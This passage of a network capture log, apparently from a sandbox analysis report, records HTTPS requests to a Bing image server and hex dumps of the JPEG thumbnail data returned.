6x52U):CRAZOuKv$0<lwnc17X!y+b#M'Hey[<xGrjBcTmS`j7Uhr-kyl375kV1I6\|+Zu9KBF.hIaPh*?] ef5Gz{DGcxVDkPJj
2024-12-16 14:01:18 UTC	16384	IN	Data Raw: 5b f8 5a b7 92 de 20 aa 9b 38 5a c0 d1 22 31 49 e6 22 ee ae 8a dc ee 65 cd 79 38 89 3e 7b dc f4 68 af 74 99 54 05 c5 57 78 c0 6c d5 d5 41 48 f0 f9 9c 8a e5 4c dd ab 94 9a 2f ba c3 e6 a9 52 5d 8b f3 2d 59 5b 43 b7 1b b6 9a ae b1 14 91 b7 ad 55 ee 1c a4 72 32 32 fc 9d 6a 85 d1 2a d5 a7 24 1f c4 1a b3 2e 54 99 1b 35 a5 3d 59 9c ca 73 49 54 e6 cf 6a b9 71 0c 81 72 2a a6 72 dc d7 5d 3b 23 9a 61 68 e4 37 35 bf a5 90 d1 f0 ff 00 7a b9 dc 8f 32 b5 b4 47 c5 c2 82 dc 54 56 57 45 51 7e f5 8d 68 d1 c3 28 fb d5 a1 18 25 76 e6 96 15 56 5d e2 97 3b 5b 8a e0 6e e7 71 0d d3 6c 5a a6 f2 1a d0 93 03 97 aa 73 42 0f 28 d4 d3 25 95 d6 42 64 e6 b4 61 74 f2 ea 84 68 37 7c f5 37 96 3b 35 39 59 84 6e 8b 4b 2a 6e e2 99 74 77 46 c4 37 35 49 99 97 9a 8e 6b af 96 92 88 73 0d 90 92 d8 Data Ascii: [Z 8Z"1I"ey8>{htTWxlAHL/R]-Y[CUr22j$.T5=YsITjqrr];#ah75z2GTVWEQ~h(%vV];[nqlZsB(%Bdath7\|7;59YnK*ntwF75Iks
2024-12-16 14:01:18 UTC	16384	IN	Data Raw: e5 53 43 f7 97 3f c5 4d c7 42 54 b5 24 6f 9a 98 b9 35 a9 6f a4 4b 24 7e 60 e9 fc 35 5e f2 ce e2 16 cb c5 c5 44 6a c1 bb 5c a7 09 da ed 68 57 5c f7 a7 fc eb fc 54 ce 54 d0 cc 4f 14 dd d8 96 c3 e4 1b d7 9a 8f 62 ad 2b 16 a8 2e 1c a7 14 d5 c5 2d ae 39 db 6b 52 2c c0 f5 aa 93 4f 9a 87 75 69 18 37 b9 9f 35 8d 45 94 15 a7 79 83 a5 64 f9 87 fb d4 9e 71 1c 6e a3 d8 87 b4 46 bb 48 3a ed a6 79 a9 d7 bd 65 b4 c7 ad 3d 27 23 e9 4b d8 8f da 1a cb 30 ef 4e f3 10 ae 2b 3a 19 b7 54 d0 c8 0f cb 59 3a 76 2e 33 2c b3 0e 94 29 60 dc 53 e1 64 db 9a 7f 98 9b b1 53 cc 69 6b 8c 6d e7 f8 79 a6 ec 76 eb 52 c8 e2 a2 69 b0 dd 29 2d 83 41 cb 10 0b cd 30 c7 19 e3 bd 13 4c be 5e ea 81 26 dc d9 a6 94 84 da 25 5b 71 f7 6a 58 e2 8d 76 e6 a2 59 71 ca d3 f7 ab 70 7e 5a 72 e6 1a b5 82 42 15 Data Ascii: SC?MBT$o5oK$~`5^Dj\hW\TTOb+.-9kR,Oui75EydqnFH:ye='#K0N+:TY:v.3,)`SdSikmyvRi)-A0L^&%[qjXvYqp~ZrB
2024-12-16 14:01:18 UTC	16384	IN	Data Raw: 9e 89 19 ca 84 e3 ab 66 77 9d f3 7d ea 6b c9 5b 36 3a 7d 84 ab 90 de 61 a4 d4 34 cb 74 87 7a 7c b4 7b 7a 7c c9 07 b1 93 8f 31 8b 9f 4a 36 ee ab 51 da 96 8f 7f f0 d5 c8 74 b3 22 e5 be ed 6d 2a b1 8f 53 38 c2 52 d8 c9 50 05 39 4b 1e 6a d5 f6 9f 24 1f 3e de 2a a0 47 0d c5 11 94 67 ac 58 9a 69 d9 83 cc eb f4 a6 35 c3 95 e6 a5 5b 79 64 e1 9f 69 a6 c9 64 53 9a af 72 f6 06 a5 62 bb 4a c7 ad 2a dc 95 e9 53 4b 69 fb bd ff 00 de a8 1e 15 0d f7 79 ab 4e 2c 87 cc 24 b7 25 be b4 8b 33 8e 94 be 5e 69 c1 40 a7 68 d8 5a b1 11 e4 2d 8a d0 b3 c8 fa 56 7e ec 74 6e 2a 49 2e f0 bc 56 73 8d f4 45 c6 56 66 a5 d4 a9 24 78 aa 8a 81 9b ef 55 3f b6 fa d3 56 f1 16 a6 34 a4 95 8a 75 13 65 d7 8b 2b 51 79 0d bb 86 aa ed a8 0d bc 53 16 f9 37 7f 15 5a a7 32 39 a2 5b 54 95 7a 54 0e d2 8e Data Ascii: fw}k[6:}a4tz\|{z\|1J6Qt"mS8RP9Kj$>GgXi5[ydidSrbJSKiyN,$%3^i@hZ-V~tnI.VsEVf$xU?V4ue+QyS7Z29[TzT
2024-12-16 14:01:18 UTC	16384	IN	Data Raw: cf fb 42 e2 cf 5d 8a d1 97 3e 7b 59 42 a9 cf b9 1c d7 98 6b 5a db ea 3e 2a ba bb b2 83 fb 6b 55 66 f2 ee fe d7 68 a9 6b 67 b7 aa a8 1c 26 3a e1 33 b8 f5 35 ca f8 aa 7d 22 5b a9 0d b5 e4 ba d6 ab c6 eb 4f b2 04 b5 b7 07 ae 50 70 8c 3d 39 26 bc 07 9e d4 75 1a 50 76 fe b7 d3 4f 56 7d 95 3e 0d c3 7b 34 e7 52 cd ef d7 ee ee 7b cf fc 2c 3f d9 ed 34 d5 d5 3c 8d 66 0b 56 f9 d6 ef fb 36 1d 9f f7 d5 0b e3 7f d9 e2 5b 16 d4 26 4d 65 ad d9 72 d3 c9 a3 c4 a9 8f 52 c7 b5 7c fb 0d 8d bc d6 7e 5e 9d 3b 6b 52 c5 f7 ac a4 83 65 b5 bb 9e bf 2f 44 6f cc 9a 9a 18 57 72 db 46 cd ae 4a ad fb dd 29 61 29 0d af fc 04 9c 2b 7f bd 9a 5f eb 0c 97 d9 db fa fe 9b d0 af f5 1a 93 5f c4 f4 fe bf 43 dd 87 88 ff 00 66 89 77 5c c7 f6 95 8f 6e ff 00 35 b4 58 99 31 fe f0 e2 a0 37 9f b3 15 cc Data Ascii: B]>{YBkZ>*kUfhkg&:35}"[OPp=9&uPvOV}>{4R{,?4<fV6[&MerR\|~^;kRe/DoWrFJ)a)+__Cfw\n5X17
2024-12-16 14:01:18 UTC	16384	IN	Data Raw: 3b 71 b7 9a 7a 93 a2 2c db 95 55 f9 ba d3 98 23 49 55 37 10 df 75 b3 4b 1b 31 6c 0a 97 06 de e5 aa 9a 5a c5 d5 31 86 e2 a5 59 07 fb d5 43 12 0f ad 39 4b 6d c9 eb 59 ba 68 a5 51 de c4 97 5b 37 71 51 46 83 b3 fd da 6b 65 a9 76 48 39 ad 12 b2 dc 96 ee f6 1f e5 b1 6f 91 ea 37 57 1f c3 b8 ff 00 7a 91 64 90 37 14 8c cd d4 b7 fc 06 8b 3b 89 d8 45 04 2f fe cd 47 21 79 fe 2a 7a 31 6e 94 32 49 df a2 d3 bf 70 44 59 f7 a7 29 c7 5a 54 c1 6f bb cd 0e b8 6f 7a 77 4d d8 62 e7 1d 68 47 c4 9c 52 ef 8f 6f 35 0b 49 f2 f1 52 95 fa 05 ec 4f e7 6d eb 4f 5b a1 b7 15 53 2a 79 a6 e5 68 f6 69 82 a9 62 e3 4c 0b 60 d3 26 c6 de 2a 35 68 8f 06 97 cc 8c b7 b5 4f 2d ba 15 7b a1 8a 58 b6 29 b8 3b b9 f9 69 ec e8 ad 91 4c 67 07 76 6a 95 d9 9d f5 1c 72 38 dd 4f 87 cb ea 6a 06 70 69 bb ff 00 Data Ascii: ;qz,U#IU7uK1lZ1YC9KmYhQ[7qQFkevH9o7Wzd7;E/G!yz1n2IpDY)ZToozwMbhGRo5IROmO[SyhibL`&*5hO-{X);iLgvjr8Ojpi
2024-12-16 14:01:18 UTC	16067	IN	Data Raw: 6b 4d 13 4c bb d4 2e 55 77 b4 56 b0 19 1f 03 ab 61 72 71 56 53 c1 1e 36 b6 b7 dd 71 e0 dd 61 12 26 df 24 ef 61 2f ee d0 75 e7 18 02 bd cb fe 09 ee ad ff 00 0b 5b 5c 91 3e 52 ba 13 2e ef ac a9 5f 4e f8 c2 79 7f e1 09 d7 bf 7a d8 fe c8 bb dd f3 1e 9e 53 d6 d9 6e 55 4b 11 86 e7 93 77 33 c6 e6 55 28 57 f6 69 5c fc d4 b9 ff 00 8f 86 f4 fe f5 5f 8f c2 3e 2a b9 81 6f 2d bc 3b ab 4d 6d 38 cc 73 47 65 21 49 07 a8 20 60 d6 74 c3 f7 7f f6 cf fa 57 e9 27 c2 96 96 0f 84 7e 13 89 25 65 55 d1 2d 7e ef cb ff 00 2c c5 72 e5 b8 18 62 2a ca 32 7b 1d 18 fc 64 b0 d1 8c 92 bd cf ce 87 f0 8f 8a 53 ef 78 7b 56 5f fb 72 97 fc 29 92 78 6b c4 41 54 36 87 a9 2f fb d6 52 7f 85 7e 9b 7d a2 e3 76 ff 00 3e 4f fb ea 8f 3e 76 ea d2 57 b7 fd 81 43 f9 9f df ff 00 00 f3 3f b6 ea 7f 2a 3f 31 Data Ascii: kML.UwVarqVS6qa&$a/u[\>R._NyzSnUKw3U(Wi\_>o-;Mm8sGe!I `tW'~%eU-~,rb2{dSx{V_r)xkAT6/R~}v>O>vWC?*?1
2024-12-16 14:01:18 UTC	16384	IN	Data Raw: aa ea 92 da b2 84 89 d7 61 18 1c 00 33 cf 14 7b 49 53 7c d1 b7 cc bc 45 37 52 36 4c f4 49 2d af 16 35 8e 4b 39 bc d8 b0 3e e9 ac dd 4f 56 1a 2c 6b a8 6b 3b ad a1 69 44 7f 3a 9e bd 70 2b 88 87 e2 07 c5 cb 85 fb 4c 7a 9d f4 a3 71 4d cb 1a 75 07 e6 1d 3b 57 39 e3 fd 5b c6 ba e5 bc 73 f8 95 ee e5 8a db 84 f3 57 6a 47 9f a7 19 35 ac 71 75 1e 92 48 e4 8e 09 f3 2e 67 a1 0f c5 6f 10 db 78 a3 c5 92 6a 96 f0 3c 4a d1 ac 7f 3f 56 db c0 3f 95 7a 77 c1 5f 12 c5 aa 69 2d e1 db 5f 35 63 82 18 c4 ab 26 3e 6d bd c6 3d eb c2 db ef 73 5d 07 c3 ff 00 11 eb be 17 d5 1a ff 00 c3 ef b2 69 53 c9 6c c4 24 dc 0f 38 c1 ef 4b da 4a 37 68 ee a9 46 32 87 29 f5 27 83 2c 23 b3 d6 2d a7 9e f3 6b 2b 79 9e 53 2e e5 c0 ec e0 d7 73 6f e2 49 da 49 6e e3 b9 55 0c cd e6 34 9f 2e ee 3b 0e c2 be Data Ascii: a3{IS\|E7R6LI-5K9>OV,kk;iD:p+LzqMu;W9[sWjG5quH.goxj<J?V?zw_i-_5c&>m=s]iSl$8KJ7hF2)',#-k+yS.soIInU4.;
2024-12-16 14:01:18 UTC	16384	IN	Data Raw: e6 56 67 49 a0 eb 52 c9 f1 2a 5b bb 48 16 35 8b 49 f2 3c b6 bb 89 7e 4c f3 96 3c 64 93 d2 b1 c6 b9 63 6f e3 4b 1b d9 e0 f3 04 77 b7 93 49 1a ce 8b b8 14 0a 17 77 4e 3f 23 da a7 bc f1 5f 85 9e 46 93 fb 36 3c 34 7e 5e df b1 01 b8 7a fd 7d eb 98 9b 57 d1 ad bc 4d a7 df da 69 eb e5 5a f9 a6 45 96 30 db 9d be ef d4 0a e5 86 0e c9 fb ba da c4 7b 34 74 1f 17 35 db 2d 4b c0 f7 51 49 04 71 4d f6 d8 e4 81 a3 9d 1f 8c f2 30 84 f6 af 54 f0 7c b1 dc fe cc 3e 1c b8 83 e5 57 8a 6f 95 97 6f fc b4 71 5e 07 f1 13 c4 36 fa e6 93 15 94 16 70 5b 6d bb f3 d9 a3 8c 23 37 18 23 23 f3 af 75 f8 76 8d 0f ec b7 e1 a8 c7 cc de 54 c7 e6 f7 95 eb b7 09 47 d8 d2 e5 d8 5c 8a 09 24 7c dd af 69 92 ea be 3c be b7 8a 78 22 68 f0 59 a7 90 22 b7 e3 53 e9 de 08 d5 1b 56 b5 f2 ee 74 f9 42 cc ae Data Ascii: VgIR*[H5I<~L<dcoKwIwN?#_F6<4~^z}WMiZE0{4t5-KQIqM0T\|>Wooq^6p[m#7##uvTG\$\|i<x"hY"SVtB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49732	150.171.28.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:01:17 UTC	375	OUT	GET /th?id=OADD2.10239317301320_16XXVBVNIIATTNZGS&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-16 14:01:17 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 383554 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 949C04D518D1492E96AF4338DCF1A8F1 Ref B: EWR30EDGE0821 Ref C: 2024-12-16T14:01:17Z Date: Mon, 16 Dec 2024 14:01:16 GMT Connection: close
2024-12-16 14:01:17 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 33 2e 33 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 32 3a 30 36 3a 32 34 20 31 31 3a 31 36 3a 30 34 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 07 80 00 00 a0 03 00 03 00 00 00 01 04 38 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 23.3 (Windows)2022:06:24 11:16:048C
2024-12-16 14:01:17 UTC	16384	IN	Data Raw: 6a c3 46 45 42 e8 69 b1 10 93 4c 77 c3 54 8c a4 0a 86 40 7a 8a a4 48 c9 1f 35 03 3f 6a 92 40 45 41 26 6b 58 92 c4 69 3e 5a 63 bd 35 cf 6a 8d 8d 74 44 81 c5 e9 ac f4 c6 6a 69 6e f5 d1 12 58 e2 f4 be 67 6a 81 de a3 df 86 ad a2 22 e2 bd 39 9f e5 aa 8b 25 3b cc f7 ad 12 02 7d f4 6f a8 77 d0 1e b4 48 a4 4d 9e f4 67 1c d4 7b e9 37 d5 24 51 2e fa 42 d5 13 3d 35 9e a9 22 91 23 b6 6a bc cd de 95 9f d6 a0 9a 4c f1 54 a2 51 14 cf 55 e4 6e bc d3 e6 7e d5 5a 46 cd 6a 91 ac 46 4c d5 56 63 9c e2 a5 99 89 aa d2 35 5a 46 f1 23 92 9b d3 9a 56 a4 fa d5 17 60 26 9b 25 38 0a 6b 0f 96 95 86 57 7a 68 39 6a 7c 82 98 06 1a 98 12 a7 b5 2e 0d 35 4d 49 41 43 e2 ab 70 8c f5 aa d0 8f 9a ae db 8a a4 34 58 b7 4c d5 fb 74 c7 35 5a d4 56 85 b8 15 b4 46 4f 0a e2 ac c2 3b 54 30 8a b3 18 f4 Data Ascii: jFEBiLwT@zH5?j@EA&kXi>Zc5jtDjinXgj"9%;}owHMg{7$Q.B=5"#jLTQUn~ZFjFLVc5ZF#V`&%8kWzh9j\|.5MIACp4XLt5ZVFO;T0
2024-12-16 14:01:18 UTC	16384	IN	Data Raw: c3 85 e9 59 c8 90 8c fa d5 88 72 7a 54 31 c7 f3 55 a8 57 0b 50 c8 b1 62 15 cd 48 ab 4b 6e 99 a9 d5 2b 36 4b 22 d9 48 23 cb 55 9d 9f 2f 4a 15 2a 1a 11 5f ca cd 28 83 da ad aa 8a 91 63 a9 68 0a 89 05 4f 0c 55 3a c6 05 49 1c 5d eb 36 03 63 8c 05 a9 51 2a 54 8f 35 22 25 64 c0 64 69 53 47 1d 49 1a 66 a6 54 ac a4 08 62 26 2a 54 5a 7a a5 48 12 b1 65 04 69 9a 9e 34 a4 85 2a c4 6b 53 60 08 d7 0b 52 22 66 95 52 a5 8d 6a 2c 31 15 3d 29 eb 1e 2a 68 d6 9c 8b 45 81 90 6c 22 9e 17 15 39 8c 1a 6b 2e 3a 55 c4 44 5d 2a 44 a4 c5 28 e2 ad 00 16 f9 a9 a4 d0 de d4 2f 35 64 83 73 51 c8 99 e9 52 e0 d2 13 5a 20 29 cb 1f ad 40 ea 2a f4 dc d5 69 16 a8 86 52 95 2a a4 cb 57 e6 15 5e 45 cd 00 8a 52 0a 8f 15 62 44 c5 42 c3 02 a2 4c 63 48 ed 45 19 cd 2a 8e f5 93 60 2a e6 8d b9 a7 28 ef Data Ascii: YrzT1UWPbHKn+6K"H#U/J_(chOU:I]6cQT5"%ddiSGIfTb&TZzHei4kS`R"fRj,1=)hEl"9k.:UD]D(/5dsQRZ )@iRW^ERbDBLcHE`(
2024-12-16 14:01:18 UTC	16384	IN	Data Raw: 3a 67 1c 9a cf b2 f1 35 d6 a3 a7 d9 e8 7a 02 b6 9b a4 ab ad a7 db a5 50 a9 b4 8c 12 4f ae 7b d6 52 e7 94 3d 7f 23 68 f2 c6 47 39 f1 a7 56 97 5d f1 65 d5 ac 2f 35 c3 4d 31 59 92 22 44 61 40 c0 5e 39 23 d4 1a ed be 02 78 0a c6 d3 4a 9b c7 1e 2f fb 44 7a 7e 81 09 9e ce dc e2 34 77 19 c1 62 79 6e 70 00 f5 ae fe cf e1 1f 86 7c 0b e0 6b bf 11 6a 73 b4 9f 66 80 cb 35 cb 9d d2 30 63 81 b4 1e a4 93 c0 ae 1c f8 89 bc 7f f6 0f 07 5b 58 5c 43 a6 21 1e 54 02 50 37 05 e4 b3 9f ef 77 f6 a8 75 1c a1 cb 1d 96 ec a8 c7 de bb dc e7 fc 49 a9 c7 7b 65 a5 78 9b 51 b6 2b 7b 7b a8 cf 34 b2 20 6f f4 3b 42 00 42 d8 c8 c1 3f 91 ae e7 c3 7e 39 b3 b6 d2 53 4c d4 74 f8 ef 6d 63 60 d6 b2 99 4e f4 50 72 3e 63 cb 0e e3 3c 8a ec ed bc 1b a4 e9 de 11 b4 d1 b4 cb 76 86 1c e5 dd be 66 75 07 Data Ascii: :g5zPO{R=#hG9V]e/5M1Y"Da@^9#xJ/Dz~4wbynp\|kjsf50c[X\C!TP7wuI{exQ+{{4 o;BB?~9SLtmc`NPr>c<vfu
2024-12-16 14:01:18 UTC	16384	IN	Data Raw: 1b 88 1c 01 d0 60 d6 2f b2 2b ad 8f 1e f1 66 91 3e b1 e2 86 d3 ec 49 bc ba b9 94 b4 b2 1c fc cc 4f 2c c7 ae 05 7d 2b e1 1f 83 9a 1f 87 7c 2b a5 da 69 d0 66 79 65 87 ed 33 10 33 37 46 76 39 ec 3d 2b 8f f8 1f e1 96 83 c3 3a af 8a 75 14 54 92 19 62 43 2e 32 09 67 00 a8 cf 5c 0f 4a f6 ed 63 c4 36 b0 6d 16 98 90 22 04 8b 1c 28 c0 eb f8 d6 33 69 ab 4b 62 b5 bf ba 45 ab 69 96 7f 69 9a 79 57 1d 59 d9 86 7e 51 d3 f4 af 98 a2 f0 c6 93 af f8 fa e7 57 97 4c 53 23 5d c8 d2 cc f9 60 ca 4e 00 50 78 19 15 f4 0f 89 35 7b ed 4e c6 4b 14 96 2b 41 2a 95 b8 98 82 4a a9 1d 17 dc fa d7 35 e1 af 07 aa 5a f9 96 c1 9d 5d cb 6e 6f 4a e1 ad 52 da c0 ea a1 0f e6 1d a2 47 0e c4 26 08 d2 38 94 24 48 ab 85 44 03 01 40 f4 c5 76 5a 45 b5 be a1 a6 9c 44 15 47 ca 00 ed 8a c8 8f 48 08 de 53 Data Ascii: `/+f>IO,}+\|+ifye337Fv9=+:uTbC.2g\Jc6m"(3iKbEiiyWY~QWLS#]`NPx5{NK+A*J5Z]noJRG&8$HD@vZEDGHS
2024-12-16 14:01:18 UTC	16384	IN	Data Raw: a9 d9 5b ab a1 90 cd 76 80 11 69 1a 9d e7 23 3c b7 40 3d c9 aa 2d 79 a9 dc 46 65 5b 78 6d 23 55 0c ef 23 64 06 3f c3 9f 51 d6 b1 6e f5 67 77 f2 74 1d 3d b6 9e 5a ea e5 4e d1 c7 20 0e ac 73 eb c5 51 f2 9e 46 57 d4 2e a5 94 fd e6 0d 29 d9 b8 f5 21 47 03 d2 bb 21 85 84 56 c5 7b 34 74 d2 eb 84 aa db 45 2c 73 cc c3 01 93 85 e9 c9 cf a5 53 69 d6 7f 96 57 f3 0e 7e 6c 92 6b 3e 2b 94 83 9b 48 d5 38 c5 42 ef 24 8c 0b 39 5e e7 15 b4 69 a5 b2 2b 95 23 42 e1 ad 93 fd 52 0e 9d ff 00 91 ac 54 8d a2 b9 66 53 bf 9d df 9f 6a be 1c 05 00 11 93 eb 4b f6 78 8f 2e 7f a0 aa 5a 15 ca 55 7b 99 24 52 a9 11 56 ef b4 67 ad 52 92 c3 50 95 f7 c1 67 bd 46 43 36 0e 4f a9 3e c2 b7 b4 fb 8b 2b 37 c2 f9 92 e4 e3 2b 1e 46 7d cd 26 a5 af 49 7d 1c 91 47 01 8d 41 01 5a 29 0a 29 03 a8 e9 de 95 Data Ascii: [vi#<@=-yFe[xm#U#d?Qngwt=ZN sQFW.)!G!V{4tE,sSiW~lk>+H8B$9^i+#BRTfSjKx.ZU{$RVgRPgFC6O>+7+F}&I}GAZ))
2024-12-16 14:01:18 UTC	16384	IN	Data Raw: 4a 46 00 e9 50 49 36 79 cf 34 03 35 2d 25 27 70 3d 31 9e b5 a7 a6 39 0b 91 de b0 2c dc b4 98 cd 6c d9 b0 de 13 3d 07 34 c5 63 4a fa e2 43 68 00 7e 87 35 40 5c e7 00 fd ee d4 5f 5c 00 bb 07 5a a9 6c 31 27 98 7a f6 14 c7 73 62 fa 53 0e 82 2d 99 c1 32 dc 79 87 07 b0 18 1f ad 51 8a 7c 71 50 de 4a 3e 40 dc b0 19 27 dc d5 57 9b 0b 90 7f 5a 04 6b 0b 92 17 00 f5 a9 6c 65 66 b9 5c 12 31 c9 ae 7d ae c0 6c 03 5a fa 43 bc 8c 89 6e 0b 4b 3b 08 e3 1e ac c4 01 fa 9a 2c 33 d1 be 32 23 5b fc 3d f8 63 7c d2 03 f2 5f b4 51 37 62 24 42 1b 1e fd 2b 53 e1 7f c5 ed 43 48 d5 7e cd a9 b7 9d 6e 92 13 16 c5 2c 54 1c 01 19 c0 c9 e4 f0 6b 9c fd ab 35 b3 3f c4 4d 3f c3 36 49 8b 7f 07 69 b1 69 d8 c0 c4 b7 0c aa f3 30 1d b0 70 2b 5f f6 41 f0 bb 78 9f e3 15 95 cc d1 b4 ba 7e 90 4e a3 74 Data Ascii: JFPI6y45-%'p=19,l=4cJCh~5@\_\Zl1'zsbS-2yQ\|qPJ>@'WZklef\1}lZCnK;,32#[=c\|_Q7b$B+SCH~n,Tk5?M?6Iii0p+_Ax~Nt
2024-12-16 14:01:18 UTC	16067	IN	Data Raw: a2 cb 5b b6 37 1f e8 56 72 c5 99 18 6f 2c f1 ec 7c b0 ea 08 e9 5c 35 d5 c0 f2 c4 68 00 00 7f 3a d8 f0 5d 95 bd f6 a5 1c 77 64 25 ac 4a 6e 2e dd 8e 02 c2 83 2c 4f d7 00 7b e6 99 3c ba 5c ea 3e 25 78 8e f7 44 f8 37 e1 7f 86 49 70 c6 e0 d9 b6 a1 aa 83 c9 86 19 a4 32 43 6c c4 e7 27 07 71 e7 d2 bc fe d9 27 d4 ed 6e 6d ad e2 92 7b 85 10 24 08 a7 9c f9 80 00 3f 3f c2 a1 f1 26 b1 71 ad 6b d7 9a c5 d0 0b 25 f4 c5 c2 0e 91 a0 18 45 1e c1 40 15 67 c2 7a aa 68 76 da ae b2 d0 79 d7 0d 6e 6c ec 15 24 db 20 b9 93 95 71 ec a0 67 8a 9d 5e a5 44 d0 f1 84 7f 67 f1 35 f4 21 f7 c9 0c a6 3c a9 c8 2c 38 3c 8e 0e 0f 19 ae 5b 5b 99 a5 98 c0 b0 60 c6 40 24 73 d3 a9 35 ea 1e 26 f8 6d ae da fc 21 d3 3e 20 68 4b 26 ab a7 5d e9 b1 cd a8 24 3f 35 ce 9d 3b 12 1c c9 18 c9 64 cf 71 c8 cd Data Ascii: [7Vro,\|\5h:]wd%Jn.,O{<\>%xD7Ip2Cl'q'nm{$??&qk%E@gzhvynl$ qg^Dg5!<,8<[[`@$s5&m!> hK&]$?5;dq
2024-12-16 14:01:18 UTC	16384	IN	Data Raw: 02 3f 37 aa 9e 2a ad d4 bb a4 dd b7 20 74 a9 2e 59 4f 1d 58 fa 76 aa b3 2b 2a 9e b9 a0 91 64 04 ae f0 8b 8f 6a 9a c2 68 26 8c e4 ec 2b c7 22 b3 25 b8 97 7c 68 88 df 37 19 27 a1 f7 a7 5b c3 7b 72 19 42 48 72 33 b9 54 85 1f e3 4c 0d 65 9e d8 71 d4 fe 75 6a da ff 00 64 66 24 fb a7 ae 7a 56 35 ad a5 e5 bc 7b 25 1c 13 c1 61 52 a0 61 22 e4 8d b9 e6 96 e2 b9 b1 6f 3d d4 ae e5 21 32 08 c7 cc b9 1c 83 e9 eb 49 79 a2 19 63 fb 48 0d f6 69 39 da 90 ed 71 c7 03 eb 9a 65 9c 37 37 0f fb 89 76 aa f2 58 0a b9 a9 cd 65 69 a7 a9 d4 75 6b 98 22 84 e4 1c f9 62 56 1d 89 3d c5 47 a0 d9 cf ea 11 5a da 2a 9f ec e9 a4 04 65 64 db 83 c1 e7 af 71 5a 1a 7f 88 e5 76 93 4a d2 ec e3 b3 8f ca 3f bc 90 00 43 2f 21 c8 18 19 27 8a e6 6f bc 43 61 15 ca cb 15 dd d5 c6 e5 66 54 88 99 00 5c e0 Data Ascii: ?7* t.YOXv+djh&+"%\|h7'[{rBHr3TLequjdf$zV5{%aRa"o=!2IycHi9qe77vXeiuk"bV=GZedqZvJ?C/!'oCafT\
2024-12-16 14:01:18 UTC	16384	IN	Data Raw: e8 07 7f 5a fb e3 54 4b 7f 0e f8 5e de c2 cd 02 45 69 02 43 18 03 19 0a 31 5e 47 fb 0e f8 19 34 2f 05 cf e3 7b c8 04 77 1a c0 2b 66 5b af d9 81 ea 07 60 48 ce 7b 81 5d 27 c5 df 14 32 ff 00 a3 a4 9e e4 67 a0 15 bc 17 2c 79 9e ec ce 4d ca 5c a7 9f fc 52 d6 1a ea f0 db 07 dd 8e 5f db d0 57 31 a7 44 22 46 9e 4c 9d bd 07 a9 3d 31 49 34 ed 79 7e d2 cb ce e6 24 7f 4a ed 7e 13 f8 71 75 4f 15 25 fd cc 5b b4 ed 33 0c 23 6e 97 13 9e 8a 7d 97 af d6 b9 ac e7 23 af 48 44 ea 7c 13 a3 8f 0d 78 6e 39 ef d3 66 a1 a9 7e fa 65 23 e6 54 07 e5 5f cb b7 ad 73 be 3a d6 fe d6 e5 03 7c ab 90 00 ef 5a ff 00 13 b5 b7 3a c4 e0 49 bf 00 46 31 eb 8e 40 f6 06 b8 4b b7 de db dc e5 80 0a 14 76 27 a9 ad 2a 3b 7b a8 ce 0a ef 99 85 a9 2d 28 c7 3c fe 55 5b 5d bc 33 c9 fd 9f 19 fd d2 10 65 20 Data Ascii: ZTK^EiC1^G4/{w+f[`H{]'2g,yM\R_W1D"FL=1I4y~$J~quO%[3#n}#HD\|xn9f~e#T_s:\|Z:IF1@Kv'*;{-(<U[]3e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49733	150.171.28.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:01:17 UTC	346	OUT	GET /th?id=OADD2.10239381013226_1N0ZCSQO0WB83C2MZ&pid=21.2&c=3&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
